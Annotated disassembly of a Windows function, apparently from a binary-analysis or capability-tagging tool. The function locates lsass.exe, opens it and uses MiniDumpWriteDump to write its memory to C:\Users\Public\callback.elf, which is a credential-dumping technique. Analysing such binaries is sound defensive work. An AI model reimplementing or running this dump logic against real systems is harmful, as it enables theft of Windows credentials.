Function at 0x140001590
Capabilities:
Create process memory minidump
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0xb0
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0xa0], rax
xor esi, esi
mov dword [rsp + 0x50], esi
call fcn.140001430
mov ebx, eax
test eax, eax
jne 0x1400015d3
lea rcx, str.Could_not_find_lsass.exe_PID__n
call fcn.140001100
xor al, al
jmp 0x140001812
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Lsass_PID:
mov qword [rsp + 0xc0], rdi
call fcn.140001a70
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001320
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140001639
lea rcx, str.Could_not_open_a_handle_to_lsass.exe__n
call fcn.140001100
xor al, al
jmp 0x14000180a
lea rcx, str.Got_a_handle_to_lsass.exe_succesfuly__n
call fcn.140001100
lea rax, [0x140001520]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rax
mov r9d, 2
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x30], rax
mov edx, ebx
mov qword [rsp + 0x28], rsi
mov rcx, rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
test eax, eax
jne 0x140001695
lea rcx, str.Failed_to_create_a_dump_of_the_forked_process._n
call fcn.140001100
xor al, al
jmp 0x14000180a
lea rcx, str.Successfully_created_dump_of_lsass_process._n
call fcn.140001100
mov r8d, 0x1c
mov qword [rsp + 0x58], rsi
lea rdx, str.C:UsersPubliccallback.elf
mov qword [rsp + 0x68], rsi
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x70], 0xf
call fcn.1400018e0
cmp qword [rsp + 0x70], 0x10
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x30], rsi
mov edx, 0x10000000
cmovae rcx, qword [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001717
lea rcx, str.Failed_to_create_dump_file._n
jmp 0x1400017c0
lea rcx, str.Successfully_initialized_dump_file__n
call fcn.140001100
mov r8d, dword [0x14000b728]
lea r9, [rsp + 0x50]
mov rdx, qword [0x14000b718]
mov rcx, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400017b9
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.Checking_if_file_exists_and_greater_than_5MBs__n
call fcn.140001100
cmp qword [rsp + 0x70], 0x10
lea rcx, [rsp + 0x58]
lea r8, [rsp + 0x78]
cmovae rcx, qword [rsp + 0x58]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
jne 0x14000178a
lea rcx, str.Failed_to_get_file_attributes.
jmp 0x1400017c0
cmp dword [rsp + 0x94], esi
jne 0x1400017a9
cmp dword [rsp + 0x98], 0x500000
jae 0x1400017a9
lea rcx, str.File_size_is_less_than_5MBs._n
jmp 0x1400017c0
lea rcx, str.File_exists_and_size_is_greater_than_5MBs._n
call fcn.140001100
mov bl, 1
jmp 0x1400017c7
lea rcx, str.Failed_to_write_dump_to_disk__n
call fcn.140001100
xor bl, bl
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140001807
mov rcx, qword [rsp + 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001802
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001802
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000562c
movzx eax, bl
mov rdi, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1400055d0
mov rbx, qword [rsp + 0xc8]
add rsp, 0xb0
pop rsi
ret